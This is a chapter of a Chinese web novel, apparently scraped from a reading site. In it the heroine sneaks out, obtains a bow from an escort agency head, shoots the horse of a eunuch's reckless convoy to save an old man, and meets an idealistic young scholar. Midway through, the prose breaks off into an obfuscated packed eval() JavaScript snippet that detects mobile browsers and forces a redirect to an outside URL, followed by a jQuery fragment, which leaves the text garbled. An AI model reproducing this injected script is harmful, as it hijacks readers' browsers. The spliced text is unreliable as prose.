还有一天的时间,沈时桉不能坐以待毙,她刚推开房门准备出去找找线索,府兵便围了过来。
两名粗壮的男人堵在门前,拦住她的去路:“四小姐,夫人交代您不能出去。”
沈时桉眸光一冷:“连房门都不能出?”
府兵抱拳弯腰:“属下们也是奉命行事,还请您不要为难我等。”
眼前的两人死死拦住她的去路,沈时桉指尖在门框上一顿,终是缓缓关上了门。
晚秋角色煞白,她惶恐不安地望向紧闭不安的房门:“小姐…夫人这般架势,我们怕是出不去了。”
沈时桉环视屋内,忽而瞥见窗外,心中一动:“你在房里守着,若有人问便说我歇下了。”
话音刚落,她单手撑在窗台纵身一跃,动作轻盈翻了出去。
“小姐!”晚秋惊呼声卡在喉咙里,担心被外面的人听见,她慌忙扑到窗前,只来得及看见沈时桉的背影。
可能平日里原主唯唯诺诺的性子深入人心,沈夫人只派人看住了正门,其他地方并没人守。
沈时桉轻轻松松出了府。
午后的市集上熙熙攘攘,小贩的吆喝声此起彼伏,行人接踵而至。
沈时桉不死心地在城内各处镖局中询问到京时间,无一例外得到统一回答。
“到京城最快也要十天,还是在路上不遇到山匪的前提下。若是遇见山匪,怕是没个半个月是走不到京城的。”
沈时桉眉心微蹙:“这一路土匪如此猖狂?”
镖头闻言摇了摇头:“姑娘有所不知,如今出了城到处都是土匪,那些官老爷又不管,这土匪自然是越来越猖狂。”
闻言,沈时桉心中微微一沉,土匪横行无外乎天灾,战乱,政府腐败压迫几种情况。
镖头继续说:“姑娘是外乡人吧?姑娘若是急着进京,可以从鹿鸣山走。”
沈时桉心中一动:“鹿鸣山没有土匪?”
“有,怎么没有。”镖头苦笑道,“鹿鸣山是充州邳州祁州三州交界地带,也是进京的必经之路,先前这山头至少盘踞着数十伙人马。”
他略做停顿,话音一转:“不过近来山中匪患渐消,唯余一家土匪盘踞在山中,这家土匪称得上是义匪,姑娘若是轻装上阵,他们不会为难姑娘。”
沈时桉眉头微挑,眼中泛起几分兴味:“义匪?”
镖头重重点头:“这伙人虽然挂着匪名,行事却讲究盗亦有道,不劫妇孺专劫富商,对贫困百姓倒是丝毫未犯。”
沈时桉微微颔首:“多谢镖头告知。”
镖头豪迈一摆手:“出门做生意,认识了都是朋友。”
“你们这的弓箭卖不卖?”沈时桉看向镖头身后墙上的弓箭,她一进来就注意到了这把弓箭。
她以前在俱乐部学过弓,这把弓跟她以前用的弓箭有异曲同工之妙。跟一般的弓箭不同,这种弓的设计很适合背部力量不强的人。
镖头顺着她的目光望去,会意一笑,露出一排白牙:“你说这把弓啊……不卖。”他故意拉长语调,卖个关子,“不过,姑娘若是真心喜爱这张弓,这把弓可以赠予你。”
谈话间,他起身从墙上取下弓箭,向沈时桉的方向一抛,沈时桉伸手握住弓箭。
沈时桉接过他抛来的弓箭,不禁感慨一句:“好弓!”她爱不释手地把玩片刻。
“那是自然。”镖头神情得意,低沉的嗓音却带着几分怀念,“这把弓是……我亡妻的旧物。自她走后,这张弓就再也没有人用过,姑娘若是不忌讳这些往事,这把弓以后就是你的了。”
沈时桉摇头婉拒:“这不妥,这是令妻留给你的遗物,怎么能轻易送人。”她不能拿,她自己能不能活过明天都还不知道。
镖头粗粝的嗓音在堂内回荡:“兵器这种东西,放着不用就是一堆破铜烂铁,只有到了活人手中,才能真正发挥它的用处。”
他敛去笑意,鹰隼般的目光直直看向沈时桉:“自打姑娘进门,这双眼睛往这弓瞟了少说二三十来回,这弓在我们镖局挂了有七八年了,这是第一次有人看中它。”
沈时桉不信:“这么好的弓怎么会没人看中?”骗鬼呢,古人又不是不认识好东西。
“我妻子临终前,希望这把弓能在女人手中发挥作用。”镖头喉结滚动一下,声音沙哑了几分,“这些年…不是没有富家千金瞧上它,不过都是些拿它当消遣的人!”
他冷哼一声:“我娘子当年拿着这把弓走南闯北,让多少人闻风丧胆。那些个轻浮之人,连弓都拿不稳,也配碰我娘子的东西。”
沈时桉手指无意识地摩挲着弓箭上的纹路,她忽然觉得手中的弓变得滚烫起来了。这不仅仅是一件兵器,更是一个女人的传奇的一生。
沈时桉握紧手中的弓箭,郑重道:“良弓易得,知音难求,多谢镖头,这弓会在我手中重见天日。”
镖头哈哈大笑起来:“好!”
出了镖局,天色已经渐晚,沈时桉激动的情绪回笼,站在街头苦笑一声,吹大发了。
她说什么要让这把弓在她手中重见天日,她能不能活到明天中午都是一回事。
突然,一阵急促的马蹄声从街口传来。
地面传来一阵轻微的震动,只见不远处一辆马车疾驰而来,马车周围环绕着十余名黑衣护卫。
沈时桉微微蹙眉,往后退了一步。不多时,马车从她身边飞驰而过,尘土飞扬。
为首的护卫首领面色冷峻,腰佩寒光凛冽的长刀,对街道两侧惊慌避让的百姓视若无睹,径直冲入熙熙攘攘的闹市。
沈时桉眸光一凛,只见那辆马车所过之地,沿途的摊贩被撞倒在地,瓜果蔬菜滚落一地,一个挑担的老翁躲闪不及摔倒在地。
“滚开!挡路者死!”首领厉声呵斥,手中的马鞭领空一甩,发出刺耳的破空声。
老翁浑身颤抖,他望着迎面冲来的马匹,浑浊的瞳孔里倒影着铁蹄,喉咙里发出“嗬嗬”的声响,却喊不出一句话。
他绝望地闭上双眼,浑浊的泪水顺着他皱纹沟壑的皮肤落下,马蹄声越来越近了。
沈时桉素手按上长弓,五指收拢,弓弦绷紧,她眼底寒光乍现,她指节一松。
“咻!”
箭势如破竹,在空中留下一道残影,马匹前蹄骤然中箭。
“咴咴——”
凄厉的嘶鸣中,骏马前蹄跪地,庞大的身躯在尘土中翻滚,马背上的人被狠狠甩了出去。
“有刺客!”
周围护卫大喊一声,勒住马匹,抽出腰上的剑:“保护苏公公!”
刹那间,整条街道陷入一片混乱。
人群惊呼四起,百姓们顾不得散落一地的货物,推搡着四处逃命,生怕晚了一步便命丧黄泉。
沈时桉逆着人流收了箭,手臂隐隐作疼,这具身体没有训练过,不足以支撑她射出这根箭。
忽然,她眼眸骤缩,那匹倒地的马匹在剧痛中翻滚挣扎,沉重的身体倒向路旁,马上压住卖菜的老翁。
千钧一发之际,一道身影从人群中倏然掠过。
来人一把拽住老翁的手臂,猛地将他拖出险境。马匹重重倒下,落在老翁方才所在位置。
他扶起惊魂未定的老翁,转头怒视那队人马,眼中燃着愤怒的火焰。
见那人站在原地,沈时桉放下手中的弓箭,穿过四处逃散的人群,径直来到那人面前。
“还不走,不要命了?”
男人一愣。
远处传来官兵的呼喝声,沈时桉眼神一凛,猛地推了他一把:“走!”
男人脚下一个踉跄,背上老翁跟着她的脚步离开了。直到远离闹市,三人才停了下来。
“老丈,你没事吧?”救人的是个刚及冠的青年,一身粗布棉衣,背上背了个包裹,他将老翁放了下来。
老翁苍白的脸上毫无血色,连连道谢。
青年神采奕奕地看向沈时桉,抱拳作揖:“方才的箭是姑娘射的吧?”虽是疑问,眼底却是不容置疑的笃定。
沈时桉略一颔首:“是我。”
“好箭法!”青年双眼一亮,赞叹道。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042392|178836||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>一旁逃窜的中年男人猛然驻足,侧目看了过来,他打量沈时桉一眼:“两位,听我一句劝,赶紧离开江陵城。”
沈时桉眉头微皱,望了过去:“何出此言?”
中年男人道:“你得罪了不该得罪的人,趁现在他们还未反应过来,赶紧离开。”
沈时桉还未开口,青年怒道:“当街纵马,一群草芥人命之人,怎就成了不该得罪的人。”
“草芥人命?”中年男人闻言,哈哈笑了起来,“对他们达官显贵来说,我们不过是一群一脚可以踩死的蝼蚁。”
青年脸色一沉:“沈刺史治所,就如此放任这等行为。”
听到沈云山的名字,沈时桉抬眸看了过去。
中年男人不屑地笑了起来:“小子,你是从那个山野来的,知不知道刚刚过去的是谁的马车?”
“小子不知。”青年人抱拳老实道,“我刚山上下来,第一次来江陵城,还请先生解惑。”
“还真是山上来的啊?”男人诧异,打量他一眼,见他一身粗布麻衣,脚上的鞋都磨出了洞。
青年露齿一笑:“是啊。”
男人高傲一抬下巴,神秘兮兮道:“那可是……”他竖起手指往天上一指,眼中闪过敬畏的神色,“那位身边的内臣,刺史怎么敢跟他们作对,那是掉脑袋的事。”
宫里来的太监?沈时桉心一沉,这时候宫里怎么会来人。
“荒谬!”青年眼中的怒火几乎要喷薄而出,“天子内臣怎能做出如此祸国殃民之事!”
男人闻言脸色变得煞白,声音发抖:“你不要命了?万一让别人听了去,可是要掉脑袋的!”说罢仓皇四顾,“该说的我都说了,你们……你们好自为之。”
话音未落,人已经钻进巷子里没了人影,活像后面有狗在追他。
男人走后,青年忧心忡忡道:“姑娘,你要不去避避风头。”他担心那群人找她麻烦。
“你不走?”沈时桉反问。
青年摇头,眼神坚定:“我要为被冲撞的百姓讨一个公道。”
“去那讨?找谁讨?”沈时桉泼了他一盆冷水,“沈云山是不会管的,就算你有能耐,充州离京城一千公里,你要怎么讨公道?”
青年眼中的怒气消了下去,神色缓和下来:“姑娘说的是,只是……在下寒窗苦读,读的圣贤书,若遇世不平而折腰,这功名,不要也罢!”
沈时桉下意识低头一看,眼前的男人脚上的鞋都破了洞。
察觉到她的目光,青年也不害羞,展颜一笑:“我从山上一路走到江陵城,路上路不好走,囊中羞涩。”
沈时桉移开眼眸:“公道不是讨来的。”虽然话这么说,但她心底肃然起敬,她独善其身,不能要求别人也独善其身,面对心系百姓的人,她抱着十分的敬意。
“我知道。”青年人忽地展眉一笑,“知其不可而为之,方为大丈夫。”
沈时桉轻笑一声:“祝你一切顺利。”
“后会有期。”
天色黑了,沈时桉又从窗户摸了回去。
屋内,晚秋焦急地来回踱步,见到沈时桉眼前一亮,马上迎了上来:“小姐,你可算回来了!”
她看见沈时桉身后背着的弓箭,脚步猛地一顿,结结巴巴道:“这…这是……”
“弓。”沈时桉走到桌前放下背上的弓箭,言简意赅道。
“小姐,你怎得拿了这么危险的东西回来。”晚秋满眼忧虑。
“危险?”沈时桉忽然笑了,“能要人命的,才是最能保命的。”
说罢,她漫不经心地摆了摆手:“去睡吧,很晚了。”
“是。”晚秋欲言又止,最终还是乖乖退下了。
傍晚,躺在床上,沈时桉闭目却难以入眠。江陵城是充州首府,一州刺史治所都如此肆无忌惮地盘剥百姓。
大梁王朝已经病入膏肓。天子沉溺长生,不愿放权,百官贪赃敛财,百姓苦不堪言,这江山迟早要完。
这让沈时桉不愿进宫的心更加强烈,去宫斗指不定哪天就亡国了。